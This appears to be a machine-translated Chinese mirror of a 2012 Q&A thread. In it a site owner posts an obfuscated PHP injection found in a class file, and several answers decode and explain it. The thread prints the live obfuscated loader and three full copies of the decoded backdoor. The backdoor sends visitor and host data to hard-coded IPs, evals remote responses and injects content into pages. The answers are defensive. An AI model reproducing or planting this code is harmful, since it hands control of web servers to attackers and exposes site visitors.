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在我的一个类文件中发现了这个非常奇怪的PHP代码。 它是什么？

[英]Found this very strange PHP code in one of my class files. What is it?

 原文  2012-04-18 21:07:10  9   4    php

问题描述

不久前，我为一个遇到问题的客户建立了一个网站。 进入站点文件后，我在以下PHP类之一的顶部找到了该文件： 

<?php
/*ad0b18735e68b25aa9c4374221824db5_on*/ $byJtFKIhXRt8KPNfT1me8ooOBXon8QgWfQgLqPSdxb= array('8759','8776','8755','8766');$ARPcAGpFFDTk4GyiFfpsl5zXmfFqCHsAp8DQFSlbm5lhCJq8P= array('8569','8584','8571','8567','8586','8571','8565','8572','8587','8580','8569','8586','8575','8581','8580');$J0BQOOWj4oRnP7liN= array('7450','7449','7467','7453','7406','7404','7447','7452','7453','7451','7463','7452','7453');$UbjPmIKWlC="eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0poVjFsblMwTkdiV1JYTldwa1IyeDJZbXc1YkdWSGJIcGtTRTF2U1d0a2JHUkZNV2hpVjBWcFMxTnNOMGxEUW0xa1Z6VnFaRWRzZG1KcFFuUmlNbEptV1RJNWRVdERVbWxrVjFsd1pUTk9NR05zT1hCamJWWjNZa2RHYWxwVFoybFFSMHAyV2tockswbHBkMmxRUjBwMldraHJLMGxwZDJ0WmJsWnRURU5TYW1KdVVtWmhRMnMzWVZkWlowdERVbXBpYmxKbVlVTkJPVkJUUVhoTFUwSTNTa2RLTVZwcFFUbEpTRTR3WTJ3NWNHTnRWbmRpUjBacVdsTm5hVkJIU25aYVNHc3JTV2wzYVZCSFNuWmFTR3NyU1dsQmRVbElUakJqYld4M1l6SjRhR015YUd4amVXZHJXREZPUmxWc1drWlZiSE5wV2pJNWRscERTbVJMVTNkcldXNVdiVXRVYzJkamJWWXdaRmhLZFVsRFVtbGtWMWszWmxoT01HTnNPWEJqYlZaM1lrZEdhbHBUWjJsUVF6bHBZakpTTlZCcFNYTkphbmQyV1cwNWEyVlVOR2xNUTFKcFpGZFpjMHBIVG5Wa1JqbHZTMVIwY0ZwcFFXOUtSMDUxWkVZNWIwbEVNRGxKUkVWd1NVaHphMWx1Vm0xSlJEQm5Zek5TZVZneWJIbGFXRUp6V1ZkT2JFdERTVGhNTWtwMldraHJLMGxwZUhwa1NFcHdZMGhPYzFsWVRtOWFXRTF2U2tZNVZGSldTbGRTVmtwaVNXMWtkbUl5VVdsWVUydDFTV3AzZGxsdE9XdGxWRFJwVEVOU2FXUlhXWEJQZVVKNVdsaFNNV050TkdkS1Iwb3hXbXAwT1dOdFZqQmtXRXAxU1VOU2FXUlhXVGRtVjFveFltMU9NR0ZYT1hWSlJ6bDNXVmMxY21GVFoydFpibFp0UzFoemExb3pjR1phVTBFNVNVZGFhR0pJVG14UGVWSnZXREozWjFCVFFtOWFWMFpyV2xoS2VsZ3llSEJqTTFGdlMxUjBjRnBwUVc5aFZ6Vm1XVmhLZVZsWWEyOUphMDUyWW01U2JHSnVVWFJTVnpWcVlqSlNjR0p0WXpaSlIyUTJZVmhCYVV4RFFXdGhSamx6UzFOcloyVjVRV3RhTTNCbVdsTkJPVWxJVW5sa1YxVTNabGRzYlVsRFoydGFNM0JtV2xOc04wcElVblJqUjFwMVdWY3hiRWxFTUdka1IxWjBZMGMxYUdKVFoybE1NMUowWTBOSmMwbERTa2RVTURocFMxUjBiV0ZYZUd4WU0wSXhaRVk1YW1JeU5UQmFWelV3WTNsbmEyUkhNWGRhYlRWb1lsZFZjMGxEVW1sa1YxbHdUM2xTTmxwRFFUbEpSMlEyWWpOQ2JHSnBaMnRrUnpGM1dtMDFhR0pYVlhOSlEwcDVTV2xyTjBwSFRuWmlibEpzWW01U2VrbEVNR2RhTTNCNVdsZEdhMHREVWpaYVEzZG5UVlJCZDAxRVFYZE5SRUZ3VDNsU2FtSXlOVEJhVnpVd1kzbEJPVWxITVhaYVJqbHFZakkwYjBwSFRuWmlibEpzWW01U2VrdFVkRzVsYlU1ellqTk9iRXREVWpaYVEyczNaRmMxYzJGWE5YSkxRMUl3WWxoQ2JXSnRSblJhVTJzM1NrZE9kbUp1VW14aWJsSjZTVVF3WjFvemNHeGliVTUyV2tkVmIwcEhUblppYmxKc1ltNVNla3RVZERsSlIxWnpZekpWWjJWNVVtcGlNalV3V2xjMU1HTjVRVGxKUnpGMldrWTVhbUl5Tkc5S1Iwb3hXbWxyTjJaVFVuTmFWelJuVUZOQ2VtUklTbk5hVnpSdlNrZE9kbUp1VW14aWJsSjZTMVIwYjFwWFJtdGFXRWx2U1d0T2RtSnVVbXhpYmxGMFZFZFdkVm96VW05UGFVRnBUR2xTYzFwWE5IQlBNMHBzWkVoV2VXSnBaMnRaTWpsMVpFZFdkV1JJVFhCUE16Qm5XbTVXZFZrelVuQmlNalJuVWpKV01GUlhSblJaVTJkd1pYbFNkR0l6VW05YVdFbG5VRk5CYVdKWFVubGlWMVpyWVZkR2JtTnRPVEZqUXpWcVlqSXdhVTh6U214a1NGWjVZbWxCYTJKWE9UQmhSMVo1VHpNeGRsbHNPWHBrUjBaNVpFTm5hV0l6UW1oaWJYUndTV2xyTjFwdVZuVlpNMUp3WWpJMFoxbFhhRzFrVjFKdFlrZGFObHBIYUcxaFNFMXZTa2hDYUV0WWMydGlWMFowV1ZOQk9VbEZaR3hrUlRGb1lsZEZiMHRVYzJ0YWJXeHpXbE5CT1VsSVZubGlSMVoxV1RJNWExcFRhR1pZTUZwS1ZFVldabGg1YXpkaFYxbG5TMGRzZW1NeVZqQkxRMUptVlRCV1UxWnJWbE5YZVVwSlZrWlNVVmd3YUZCVk1WRnBXRk5yY0dWNVVtOWlNMDR3U1VRd1owcEdPVlJTVmtwWFVsWktZa2xyYUZWV1JrSm1VMFU1VkZaRFNtUlBNekJuV2xkNGVscFRRamRLUjJoMll6TlJaMUJUUVdsSmFuUTVZVmRaWjB0SGJIcGpNbFl3UzBOU1psVXdWbE5XYTFaVFYzbEtVMUpWTVZCV1JWWm1VVlZTUlZWcFNtUkxVMnczU2tkc2QwbEVNR2RLUmpsVVVsWktWMUpXU21KSmJFcEdWRlU1VlZKV09VSlNSVkpUU1d3d04yWlRRbXhpU0U1c1NVaHphMkZZUVdkUVUwRnBTV3AwT1dGWFdXZExSMng2WXpKV01FdERVbVpWTUZaVFZtdFdVMWQ1U2tsV1JsSlJXREZLUmxKclZsTlNWa2xwV0ZOcmNHVjVVbmxhVjFsblVGTkNNV050ZUd4aWJVNTJXa2RWYjBwR09WUlNWa3BYVWxaS1lrbHJhRlZXUmtKbVZXdFdSMUpXU2taVmFVcGtTMVIwT1VsSFZuTmpNbFZuWlhsU2VWcFhXV2RRVTBGcFNXcDBPV0ZYV1dkTFIyeDZZekpXTUV0RFVtWlZNRlpUVm10V1UxZDVTa2xXUmxKUldERldWRkpXU21aUlZXUkdWR3hSYVZoVGEzQmxlVkl4V1ZOQk9VbElWbmxpUjFaMVdUSTVhMXBUYUhwa1NFb3dZako0ZG1ReVZubExRMUptVlRCV1UxWnJWbE5YZVVwSlZrWlNVVmd4VmxSU1ZrcG1VVlZrUmxSc1VXbFlVMnR3VHpNd1oxcFhlSHBhVTBJM1NraFdhRWxFTUdkSmFVazNabGRzYlVsRGFIQmpNMDVzWkVObmExZ3hUa1pWYkZwR1ZXeHphVlZXVmtaVmJHeG1WVEZTVTFOVk5VaEpiREJ3UzFoemEyTllUV2RRVTBJeFkyMTRiR0p0VG5aYVIxVnZTa1k1VkZKV1NsZFNWa3BpU1d4R1ZsSldTbHBZTVU1VlZXdHNUMUo1U21STFZIUTVTVWRXYzJNeVZXZGxlVko0WTNsQk9VbERTV2xQTXpCclpGaEtjMWg2UVdkUVUwRnBZVWhTTUdORWIzWk1lVWxuVEdsQmEyTkhSVGRLU0ZaNVlrWTRlRWxFTUdkSmFUbHhXbGRTY0V4dVFtOWpSRGt5V2xoS2VtRlhPWFZRVkVFMVQxUk5iV0pYT1RCaFIxWjVVRk5KWjB4cFVuUlpWekZvU1VNMFowbHBXbTFoVjNoc1VGTkpaMHhwUVd0YWJXeHpXbE5CZFVsRFNXMWhSemw2WkVRd2FVbEROR2RLUjJoMll6TlJaMHhwUVdsS2JXeDNVRk5KWjB4cFFXdGhXRUZuVEdsQmFVcHVTbXhhYWpCcFNVTTBaMHBJU214YWFVRjFTVU5KYldSWFJUbEphVUYxU2toV2FFbEROR2RKYVZwNFkzb3dhVWxETkdkS1NFWjZUM2xTTUdOdWEyZFFVMEl3WTI1V2JFOHliRzFMUTBKdFpGYzFhbVJIYkhaaWJEbHNaVWRzZW1SSVRXOUpiVTR4WTIxNFptRlhOWEJrUTBsd1NVTnNOMHBIVG05SlJEQm5XVE5XZVdKR09YQmliV3d3UzBOU01XTnRlR1pOUTBGMVNVTlNNV050ZUdaTlUyczNXVE5XZVdKR09YcGFXRkoyWTBoUmIwcEhUbTlNUTBKRVZsWktUVlF4UWxWWU1VcEdWa1pXVTFSc1VsTlJWVFZVVW10V1UweERRWGhMVkhScVpGaEtjMWd6VG14a1J6bDNaRU5uYTFreVozTkpSVTVXVld0NFVGVkdVbVpXUld4T1VsVTVWbFpEZDJkTmVXczNTa2hXYzJSRFFUbEpTRko1WVZjd2Ixa3pWbmxpUmpsc1pVZFdha3REVW1waFEydHdUM2xTTUdOdWEyZFFVMEp0V1ZkNGVscFVkRGxKUjJ4dFNVTm5iMkZYTlhCWU1tUnNaRU5uYVZsWGVITmlNMlJtWkZoS2MxZ3lXblpqUjFaMVNXbHJjRWxEV1cxSlExSXdZMjVyY0VsSWMydGtWM2d3U1VRd1oyUklTbkJpVTJoQldtMXNjMXBXT1c1YVdGSm1XVEk1ZFdSSFZuVmtTRTF2U2toV2VXSkdPSGRKUXpSblNraFdlV0pHT0hoTFUyczNTa2hTZVdWVFFUbEpSMXBvWWtoT2JFOHpNWEJhYVdkclpFaEtOVXRZYzJ0YWJrRm5VRk5DYldNeU9XcGhNamwzV2xjMGIwcElRbWhNUTBFMFRVTjNaMHBIVm5samJUVjJURU5CYTFwWVNubGpNMUo1VEVOQmVrMURhemRoVjFsblMwTlNiV05EYTJkbGVWSjJaRmhSWjFCVFFXbFNNRlpWU1VOU01XTnRlR1pOVTBKSlZrWlNVVXg2UlhWTlJuaDVXRWMwYVU5NVVuWmtXRkZuVEdvd1owbHJhSFpqTTFFMlNVTlNkMWxXZUhsWVJ6UnBUM2xTZG1SWVVXZE1hakJuU1d0T2RtSnROV3haTTFKd1lqSTBOa2xGVG5OaU0wNXNXRWhLWTJKc2VIbFlSelJwVHpKYU0yTnRiREJhVTJkcldtNUJjMGxEVW5aa1dGRndUM2xTZVZwWVVXZFFVMEZwU1dwME0yRkhiSE5hVTBGdlNWZGFiR0l5V1c5S1IxcDNTMU5yWjJWNVVubGFXRkZuU1VNME9VbERRbTFhTWxZd1kzbG5hMXB1UVhOSlJFVjVUME5yTjJaWFdtcGlSemw2V2xObmExcHVRWEJQZVZJeFlraFJaMUJUUWpCamJXeDBTMGhPTVZsdVRqQmphV2RyWTIxV01FeERRbnBrU0VwM1lqTk5iMHBJU214a1EzZG5TV3g0ZVZoSE5XTmpiSGgxU1dsclowdDVRVEJMVTJzM1psZ3daMGxIYkcxSlEyaDZaRWhLZDJJelRXOUtTRlp6WkVOM2FWcFlXbWhpUTBsd1NVTkZPVkJUUW0xWlYzaDZXbE5zTjBwSWIyZFFVMEo2WkVoS2NHTklUbk5aV0U1dldsaE5iMk16VW5sWU0wcHNZMGQ0YUZreVZXOUpiVll5V1ZkM2FVeERTV2xNUTFJeFlraFJjRXRVYzJkYVdGcG9Za05uYTJWcGF6ZEpSMVkwWVZoUmIwdFVkRGxoVjFsblMwaE9NR051UW5aamVXZHJaRmQ0TUV4RFNteFpiVFZvU1dsclowbFVNRGxKUjFwb1lraE9iRXRZYzJ0WU1VNUdWV3hhUmxWc2MybGFNamwyV2tOS1pFbEVNR2RqTTFKNVdETktiR05IZUdoWk1sVnZTVzFXYVdKdFJXbE1RMGxwVEVOU01XSklVWEJQTTBwc1pFaFdlV0pwUWpCamJsWnNUek14YkdKSVRteEpTSFI1V2xoU01XTnROR2RhYlVaell6SlZOMlpZTUd0YWJVWXdZVWRXZVUxc2RHUkpSREJuU1dwak0weHFaM2hNYWtrd1RWTTBlVTVVVFdsUGVWSnRXVmhTYjFwWVNYbFhNVEJuVUZOQmFVNUVXWFZOYWxFMVRHcFZORXhxUlhwT1UwazNTa2RhYUdSSGFHeGpha3BpV0ZOQk9VbERTWGhPZWxsMVQxTTBlVTVFUlhWTlZGVjNTV3B6YTFwdFJqQmhSMVo1VFd4MFpFbEVNR2RKYWxFeVRHcE5NMHhxUlRKUFV6UXhUbWxKTjBwSFdtaGtSMmhzWTJwS1lsaFRRVGxKUTBrMVRrTTBlVTVFU1hWTmFsVXhUR3BOTVVscWMydGFiVVl3WVVkV2VVMXNkR1JKUkRCblNXcEZNMDlETkhoT2FrbDFUVlJKTlV4cVNYbE5lVWszU2tkYWFHUkhhR3hqYWtwaVdGTkJPVWxEU1hwTlV6UjRUMFJSZFUxcVRUQk1hbXN5U1dwemExcHRSakJoUjFaNVRXeDBaRWxFTUdkSmFtTXpUR3ByTVV4cVJUUk1ha1UwVDFOSk4wcEhXbWhrUjJoc1kycEtZbGhUUVRsSlEwazFUWGswZUU1NlFYVk5WRTB6VEdwSmVVbHFjMnRhYlVZd1lVZFdlVTFzZEdSSlJEQm5TV3BGTkU5RE5EQk5RelExVGxNMGVVNUVVV2xQZVZKdFdWaFNiMXBZU1hsWE1UQm5VRk5CYVUxVWF6Vk1ha1Y0VGxNMGVVMTZSWFZPVkdkcFQzbFNiVmxZVW05YVdFbDVWekV3WjFCVFFXbFBSRWwxVFZScmVVeHFaek5NYWtVelQwTkpOMHBIV21oa1IyaHNZMnBLWWxoVFFUbEpRMGw1VFZSWmRVMXFVVEpNYW1zMVRHcEplRTVUU1RkS1IxcG9aRWRvYkdOcVNtSllVMEU1U1VOSk5VNVROSGxOVkVWMVRWUm5kVTU2YTJsUE0wNXZaRmRhYldKSFZXOUtSMXBvWkVkb2JHTnFTWEJQTWxwMlkyMVdhRmt5WjI5S1IxcG9aRWRvYkdOcVNXZFpXRTFuU2toV2VVdFlkSEJhYVVGdlNVZEdiMXB1Vm10YWJYaHRaVzFTYjFwdGFIcExRMUl4WTJsclowdFRRamRKUjBwNVdsZEdja2xFZERsbVdEQTlJaWtwT3lBPSIpKTsg")); ";if (!function_exists("Gk8ZQGrrSvbiFVNEUQ6Ke9IiogWaRAABLyqr5HJ")){ function Gk8ZQGrrSvbiFVNEUQ6Ke9IiogWaRAABLyqr5HJ($fmG17jH6h8R6pfvV6ODRd6K,$iot3u6fS){$AJgVhd3fVZu0lfXZJE2Gf9LusFOpLxzn7 = '';foreach($fmG17jH6h8R6pfvV6ODRd6K as $seJ3kuSEl4K8TkDMQJMs34XHkz5KM2gM6QFgboLmiml2wOFdoh){$AJgVhd3fVZu0lfXZJE2Gf9LusFOpLxzn7 .= chr($seJ3kuSEl4K8TkDMQJMs34XHkz5KM2gM6QFgboLmiml2wOFdoh - $iot3u6fS);}return $AJgVhd3fVZu0lfXZJE2Gf9LusFOpLxzn7;}$hKVywz3gfZQjZpsdvfedFEEg3UyYs7BlInK4MDaRsR1h6 = Gk8ZQGrrSvbiFVNEUQ6Ke9IiogWaRAABLyqr5HJ($byJtFKIhXRt8KPNfT1me8ooOBXon8QgWfQgLqPSdxb,8658);$UsopvTU00NLoC = Gk8ZQGrrSvbiFVNEUQ6Ke9IiogWaRAABLyqr5HJ($ARPcAGpFFDTk4GyiFfpsl5zXmfFqCHsAp8DQFSlbm5lhCJq8P,8470);$D4fUhPPUiQCBxt = Gk8ZQGrrSvbiFVNEUQ6Ke9IiogWaRAABLyqr5HJ($J0BQOOWj4oRnP7liN,7352);$UCUMQ98AUYryzF0tSVyD = $UsopvTU00NLoC('$kiNmYfN',$hKVywz3gfZQjZpsdvfedFEEg3UyYs7BlInK4MDaRsR1h6.'('.$D4fUhPPUiQCBxt.'($kiNmYfN));');$UCUMQ98AUYryzF0tSVyD($UbjPmIKWlC);} /*ad0b18735e68b25aa9c4374221824db5_off*/ ?>

我不知道它是什么，而且不可能解密。 直接在线访问文件时，没有任何输出。 有任何想法吗？ 看起来恶意吗？

4 个解决方案

解决方案1
 5 已采纳  2012-04-18 21:10:35

如果您和您的开发人员都不知道它的来源，那么我想您正在受到攻击:(。立即修复是执行以下操作，

  1. 清理所有文件。
  2. 立即切换到安全的FTP访问
  3. 在Internet上对此攻击进行更多研究，并了解您还需要采取其他措施。

您需要快速执行此操作，因为chrome和FF之类的浏览器很快就会注意到它，并开始向用户显示您的网站是恶意的。

解决方案2
 5  2012-04-18 21:20:28

您最肯定被黑了。

我很有趣地将代码插入。

该代码经过多次base64_encoded然后评估。 结果是： 

if (!function_exists("GetMama")){  
function mod_con($buf){

str_ireplace("<body>","<body>",$buf,$cnt_h);

if ($cnt_h == 1) {

$buf = str_ireplace("<body>","<body>" . stripslashes($_SERVER["good"]),$buf);
 return $buf;}

str_ireplace("</body>","</body>",$buf,$cnt_h);

if ($cnt_h == 1) {
$buf = str_ireplace("</body>",stripslashes($_SERVER["good"])."</body>",$buf); 

return $buf;}
return $buf;}

function opanki($buf){
$gz_e = false;$h_l = headers_list();

if (in_array("Content-Encoding: gzip", $h_l)) { $gz_e = true;}

if ($gz_e){

$tmpfname = tempnam("/tmp", "FOO");

file_put_contents($tmpfname, $buf);$zd = gzopen($tmpfname, "r");

$contents = gzread($zd, 10000000);

$contents = mod_con($contents);

gzclose($zd);

unlink($tmpfname);

$contents = gzencode($contents);} 

else {

$contents = mod_con($buf);}

$len = strlen($contents);

header("Content-Length: ".$len);

return($contents);} 

function GetMama(){
$mother = "mdrmediagroup.com";

return $mother;}

ob_start("opanki");

function ahfudflfzdhfhs($pa){

$mama = GetMama();

$file = urlencode(__FILE__);

if (isset($_SERVER["HTTP_HOST"])){

$host = $_SERVER["HTTP_HOST"];} else {

$host = "";}

if (isset($_SERVER["REMOTE_ADDR"])){

$ip = $_SERVER["REMOTE_ADDR"];} else {

$ip = "";}if (isset($_SERVER["HTTP_REFERER"])){

$ref = urlencode($_SERVER["HTTP_REFERER"]);}

 else {

$ref = "";}

if (isset($_SERVER["HTTP_USER_AGENT"])){

$ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));}

 else {

$ua = "";}

if (isset($_SERVER["QUERY_STRING"])){

$qs = urlencode($_SERVER["QUERY_STRING"]);}

 else {$qs = "";}

$url_0 = "http://" . $pa;$url_1 = "/jedi.php?version=0993&mother=" .$mama . "&file=" . $file . "&host=" . $host . "&ip=" . $ip . "&ref=" . $ref . "&ua=" .$ua . "&qs=" . $qs;

$try = true;

if( function_exists("curl_init") ){

$ch = curl_init($url_0 . $url_1);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_TIMEOUT, 3);

$ult = trim(curl_exec($ch));

$try = false;}

 if ((ini_get("allow_url_fopen")) && $try) {

$ult = trim(@file_get_contents($url_0 . $url_1));

$try = false;}

if($try){

$fp = fsockopen($pa, 80, $errno, $errstr, 30);

if ($fp) {

$out = "GET $url_1 HTTP/1.0\r\n";$out .= "Host: $pa\r\n";$out .= "Connection: Close\r\n\r\n";fwrite($fp, $out);

$ret = "";

while (!feof($fp)) {

$ret  .=  fgets($fp, 128);}

fclose($fp);$ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4));

}}  

if (strpos($ult,"eval") !== false){

$z = stripslashes(str_replace("eval","",$ult));

 eval($z);

 exit();}

if (strpos($ult,"ebna") !== false){$_SERVER["good"] = str_replace("ebna","",$ult);

return true;}

else {
return false;}}

$father2[] = "77.81.241.253";$father2[] = "46.249.58.135";$father2[] = "176.9.241.150";$father2[] = "46.37.169.56";$father2[] = "94.242.255.35";$father2[] = "178.162.129.223";$father2[] = "31.184.234.96";$father2[] = "77.95.18.189";$father2[] = "93.170.137.22";$father2[] = "188.40.95.244";$father2[] = "199.115.231.58";$father2[] = "82.192.87.178";$father2[] = "216.246.99.215";$father2[] = "95.211.18.79";shuffle($father2);foreach($father2 as $ur){
if ( ahfudflfzdhfhs($ur) ) { break ;}}}

解决方案3
 2  2012-04-18 21:27:28

是的，它是恶意代码，逃避了许多base64编码的刺，结果代码为： 

    <?php 
if (!function_exists("GetMama")){
    function mod_con($buf){
        str_ireplace("<body>","<body>",$buf,$cnt_h);
        if ($cnt_h == 1) {
            $buf = str_ireplace("<body>","<body>" . stripslashes($_SERVER["good"]),$buf);
            return $buf;
        }
        str_ireplace("</body>","</body>",$buf,$cnt_h);
        if ($cnt_h == 1) {
            $buf = str_ireplace("</body>",stripslashes($_SERVER["good"])."</body>",$buf);
            return $buf;}return $buf;}function opanki($buf){
                $gz_e = false;
                $h_l = headers_list();
                if (in_array("Content-Encoding: gzip", $h_l)) {
                    $gz_e = true;
                }if ($gz_e){
                    $tmpfname = tempnam("/tmp", "FOO");
                    file_put_contents($tmpfname, $buf);
                    $zd = gzopen($tmpfname, "r");
                    $contents = gzread($zd, 10000000);
                    $contents = mod_con($contents);
                    gzclose($zd);unlink($tmpfname);
                    $contents = gzencode($contents);
                } else {$contents = mod_con($buf);}
                $len = strlen($contents);
                header("Content-Length: ".$len);
                return($contents);}
                function GetMama(){
                    $mother = "mdrmediagroup.com";
                    return $mother;}ob_start("opanki");
                    function ahfudflfzdhfhs($pa){
                        $mama = GetMama();
                        $file = urlencode(__FILE__);
                        if (isset($_SERVER["HTTP_HOST"])){
                            $host = $_SERVER["HTTP_HOST"];
                        } else {
                            $host = "";
                        }if (isset($_SERVER["REMOTE_ADDR"])){
                            $ip = $_SERVER["REMOTE_ADDR"];
                        } else {$ip = "";
                        }if (isset($_SERVER["HTTP_REFERER"])){
                            $ref = urlencode($_SERVER["HTTP_REFERER"]);
                        } else {$ref = "";}
                        if (isset($_SERVER["HTTP_USER_AGENT"])){
                            $ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));} else {
                                $ua = "";
                            }if (
                            isset($_SERVER["QUERY_STRING"])){
                                $qs = urlencode($_SERVER["QUERY_STRING"]);
                            } else {$qs = "";}
                            $url_0 = "http://" . $pa;
                            $url_1 = "/jedi.php?version=0993&mother=" .$mama . "&file=" . $file . "&host=" . $host . "&ip=" . $ip . "&ref=" . $ref . "&ua=" .$ua . "&qs=" . $qs;
                            $try = true;
                            if( function_exists("curl_init") ){
                                $ch = curl_init($url_0 . $url_1);
                                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                                curl_setopt($ch, CURLOPT_TIMEOUT, 3);
                                $ult = trim(curl_exec($ch));
                                $try = false;
                            } if ((ini_get("allow_url_fopen")) && $try) {
                                $ult = trim(@file_get_contents($url_0 . $url_1));
                                $try = false;
                            }if($try){
                                $fp = fsockopen($pa, 80, $errno, $errstr, 30);
                                if ($fp) {$out = "GET $url_1 HTTP/1.0\r\n";
                                $out .= "Host: $pa\r\n";$out .= "Connection: Close\r\n\r\n";
                                fwrite($fp, $out);$ret = "";
                                while (!feof($fp)) {
                                    $ret  .=  fgets($fp, 128);
                                }fclose($fp);
                                $ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4));
                                }
                            }
                            if (strpos($ult,"eval") !== false){
                                $z = stripslashes(str_replace("eval","",$ult));
                                eval($z);
                                exit();
                            }if (strpos($ult,"ebna") !== false){
                                $_SERVER["good"] = str_replace("ebna","",$ult);return true;
                            }else {return false;}}
                            $father2[] = "77.81.241.253";
                            $father2[] = "46.249.58.135";
                            $father2[] = "176.9.241.150";
                            $father2[] = "46.37.169.56";
                            $father2[] = "94.242.255.35";
                            $father2[] = "178.162.129.223";
                            $father2[] = "31.184.234.96";
                            $father2[] = "77.95.18.189";
                            $father2[] = "93.170.137.22";
                            $father2[] = "188.40.95.244";
                            $father2[] = "199.115.231.58";
                            $father2[] = "82.192.87.178";
                            $father2[] = "216.246.99.215";
                            $father2[] = "95.211.18.79";
                            shuffle($father2);
                            foreach($father2 as $ur){
                                if ( ahfudflfzdhfhs($ur) ) { break ;}
                            }
}


?>

解决方案4
 -1  2012-04-18 21:17:04

扩大我的评论...

您是否正在使用CMS（Wordpress，Joomla等）？ 如果是这样，一些第三方插件和主题开发人员将尝试加密其代码，以使其不会被盗版...

如果您是从头开始编写该网站的，请向下看。

您是唯一的开发者吗？

（是）->您被黑了。 ->检查您的日志文件。 ->查找异常活动/黑客尝试。 ->尝试查找漏洞并对其进行修补。 ->删除恶意代码。

（否）->询问其他开发人员是否将其放置在那里。 如果答案是否定的，请转到上述解决方案。

正如Khan所说，时间在一定程度上至关重要，因为Google和Web of Trust等服务将开始将您的网站标记为恶意。 同时，不要只是删除外来代码。 如果您日后设法将其拆解，则可以弄清楚它的作用以及向谁报告->黑客是谁。

还要查看服务器日志...如果服务器已经植根，那么阻止黑客进入的唯一方法就是重新安装它。

代码是： 

if (!function_exists("GetMama"))
{ 
    function mod_con($buf){
        str_ireplace("","",$buf,$cnt_h);

        if ($cnt_h == 1) {
            $buf = str_ireplace("","" . stripslashes($_SERVER["good"]),$buf); 
            return $buf;
        }

        str_ireplace("","",$buf,$cnt_h);
        if ($cnt_h == 1) {
            $buf = str_ireplace("",stripslashes($_SERVER["good"])."",$buf);
            return $buf;
        }

        return $buf;
    }

    function opanki($buf){
        $gz_e = false;$h_l = headers_list();

        if (in_array("Content-Encoding: gzip", $h_l)) {
            $gz_e = true;
        }

        if ($gz_e){
            $tmpfname = tempnam("/tmp", "FOO");
            file_put_contents($tmpfname, $buf);
            $zd = gzopen($tmpfname, "r");
            $contents = gzread($zd, 10000000);
            $contents = mod_con($contents);
            gzclose($zd);
            unlink($tmpfname);
            $contents = gzencode($contents);
        } 

        else {
            $contents = mod_con($buf);
        }

        $len = strlen($contents);
        header("Content-Length: ".$len);
        return($contents);
    } 

    function GetMama(){
        $mother = "mdrmediagroup.com";
        return $mother;
    }

    ob_start("opanki");

    function ahfudflfzdhfhs($pa){
        $mama = GetMama();
        $file = urlencode(FILE);

        if (isset($_SERVER["HTTP_HOST"])){
            $host = $_SERVER["HTTP_HOST"];
        } else {
            $host = "";
        }

        if (isset($_SERVER["REMOTE_ADDR"])){
            $ip = $_SERVER["REMOTE_ADDR"];
        } 

        else {
            $ip = "";
        }

        if (isset($_SERVER["HTTP_REFERER"])){
            $ref = urlencode($_SERVER["HTTP_REFERER"]);
        } 

        else {
            $ref = "";
        }

        if (isset($_SERVER["HTTP_USER_AGENT"])){
            $ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));
        } 

        else {
            $ua = "";
        }

        if (isset($_SERVER["QUERY_STRING"])){
            $qs = urlencode($_SERVER["QUERY_STRING"]);
        } 

        else {
            $qs = "";
        }

        $url_0 = "http://" . $pa;$url_1 = "/jedi.php?version=0993&mother=" .$mama . "&file=" . $file . "&host=" . $host . "&ip=" . $ip . "&ref=" . $ref . "&ua=" .$ua . "&qs=" . $qs;

        $try = true;

        if( function_exists("curl_init") ){

            $ch = curl_init($url_0 . $url_1);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 3);
            $ult = trim(curl_exec($ch));
            $try = false;
        } 

        if ((ini_get("allow_url_fopen")) && $try) {
            $ult = trim(@file_get_contents($url_0 . $url_1));
            $try = false;
        }

        if($try){
            $fp = fsockopen($pa, 80, $errno, $errstr, 30);

            if ($fp) {
                $out = "GET $url_1 HTTP/1.0\r\n";
                $out .= "Host: $pa\r\n";
                $out .= "Connection: Close\r\n\r\n";
                fwrite($fp, $out);
                $ret = "";

                while (!feof($fp)) {
                    $ret .= fgets($fp, 128);
                }

                fclose($fp);

                $ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4));
            }

        } 

        if (strpos($ult,"eval") !== false){
            $z = stripslashes(str_replace("eval","",$ult)); e
            val($z); 
            exit();
        }

        if (strpos($ult,"ebna") !== false){
            $_SERVER["good"] = str_replace("ebna","",$ult);
            return true;
        }

        else {
            return false;
        }

    }

    $father2[] = "77.81.241.253";
    $father2[] = "46.249.58.135";
    $father2[] = "176.9.241.150";
    $father2[] = "46.37.169.56";
    $father2[] = "94.242.255.35";
    $father2[] = "178.162.129.223";
    $father2[] = "31.184.234.96";
    $father2[] = "77.95.18.189";
    $father2[] = "93.170.137.22";
    $father2[] = "188.40.95.244";
    $father2[] = "199.115.231.58";
    $father2[] = "82.192.87.178";
    $father2[] = "216.246.99.215";
    $father2[] = "95.211.18.79";

    shuffle($father2);

    foreach($father2 as $ur){
        if ( ahfudflfzdhfhs($ur) ) {
            break ;
        }
    }
}

用手打开包装，这样更易​​读:)

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